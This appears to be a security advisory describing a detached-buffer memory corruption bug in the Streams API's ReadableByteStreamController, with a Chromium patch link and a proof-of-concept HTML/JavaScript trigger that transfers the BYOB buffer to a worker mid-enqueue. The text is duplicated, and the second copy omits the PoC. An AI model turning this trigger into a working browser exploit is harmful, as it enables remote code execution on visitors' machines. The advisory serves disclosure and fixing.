(Originally reported by jtrrodant@gmail.com to Chromium)
Summary
When controller.enqueue()
is called, and then controller.byobRequest
is accessed and used to transfer the array buffer (i.e. by worker.postMessage()
in the PoC below), the next enqueue()
mistakenly tries to fill the pull-into descriptor because the pull-into descriptor keeps track of the byte length separately from the buffer's byte length which is now 0, as it was detached while transferring.
This results in an attacker having the ability to write an arbitrary value to a memory range (within some bounds) without user interaction.
A potential fix for this is to check if the buffer stored in the pull-into descriptor is detached, and if so, throw a TypeError and return false at the beginning of ReadableByteStreamControllerFillPullIntoDescriptorWithQueue, so we can return before we try to write data in Step 10.4.
(Patch in Chromium: https://chromium-review.googlesource.com/c/chromium/src/+/5553232)
Details
Original report: "When js api ReadableByteStreamController.enqueue is called, it may go with ReadableByteStreamController::enqueue -> Enqueue -> ProcessPullIntoDescriptorsUsingQueue
. In this function there is a while loop to fill pull into descriptor, if the chunk is ready, it uses Promise.Resolve to fullfill the request and return the buffer to user [...]. However, fullfill the request may trigger an user-defined js function and one can detach the buffer which already queued in the next descriptor by accessing readcontroller.byobRequest
. This will result in memory corruption when executing memcpy [...], which has the ability to write an arbitrary value to memory range starting from 0 to maxArrayBufferLength."
PoC
Original PoC:
<script id="worker">
</script>
<script>
var readstream;
var reader;
var readcontroller;
function test(){
var blob = new Blob([
document.querySelector('#worker').textContent
], { type: "text/javascript" })
worker = new Worker(window.URL.createObjectURL(blob));
readstream = new ReadableStream({
type : "bytes",
start(c){
readcontroller = c;
}
});
reader = readstream.getReader({ mode : "byob"});
// var length = 0x10000000;
var length = 0x42424240;
var ab = new ArrayBuffer(length);
var ba = new BigUint64Array(ab, length - 8, 1);
reader.read(new DataView(new ArrayBuffer(0x100)));
reader.read(ba);
var req;
var flag = false;
Object.defineProperty(Object.prototype, "then", {
get(){
if(!flag){
flag = true;
req = readcontroller.byobRequest;
worker.postMessage(req.view.buffer, [req.view.buffer]);
}
}
});
readcontroller.enqueue(new DataView(new ArrayBuffer(0x110)));
}
window.onload = test;
</script>
Impact
This is a write of arbitrary values, likely in the renderer process for a browser, to a controllable address (offsets between 0 and maxArrayBufferLength) so is clearly an RCE. This is implementable by any webpage and can happen without user interaction on the page.
(Originally reported by jtrrodant@gmail.com to Chromium)
Summary
When
controller.enqueue()
is called, and thencontroller.byobRequest
is accessed and used to transfer the array buffer (i.e. byworker.postMessage()
in the PoC below), the nextenqueue()
mistakenly tries to fill the pull-into descriptor because the pull-into descriptor keeps track of the byte length separately from the buffer's byte length which is now 0, as it was detached while transferring.This results in an attacker having the ability to write an arbitrary value to a memory range (within some bounds) without user interaction.
A potential fix for this is to check if the buffer stored in the pull-into descriptor is detached, and if so, throw a TypeError and return false at the beginning of ReadableByteStreamControllerFillPullIntoDescriptorWithQueue, so we can return before we try to write data in Step 10.4.
(Patch in Chromium: https://chromium-review.googlesource.com/c/chromium/src/+/5553232)
Details
Original report: "When js api ReadableByteStreamController.enqueue is called, it may go with
ReadableByteStreamController::enqueue -> Enqueue -> ProcessPullIntoDescriptorsUsingQueue
. In this function there is a while loop to fill pull into descriptor, if the chunk is ready, it uses Promise.Resolve to fullfill the request and return the buffer to user [...]. However, fullfill the request may trigger an user-defined js function and one can detach the buffer which already queued in the next descriptor by accessingreadcontroller.byobRequest
. This will result in memory corruption when executing memcpy [...], which has the ability to write an arbitrary value to memory range starting from 0 to maxArrayBufferLength."PoC
Original PoC:
Impact
This is a write of arbitrary values, likely in the renderer process for a browser, to a controllable address (offsets between 0 and maxArrayBufferLength) so is clearly an RCE. This is implementable by any webpage and can happen without user interaction on the page.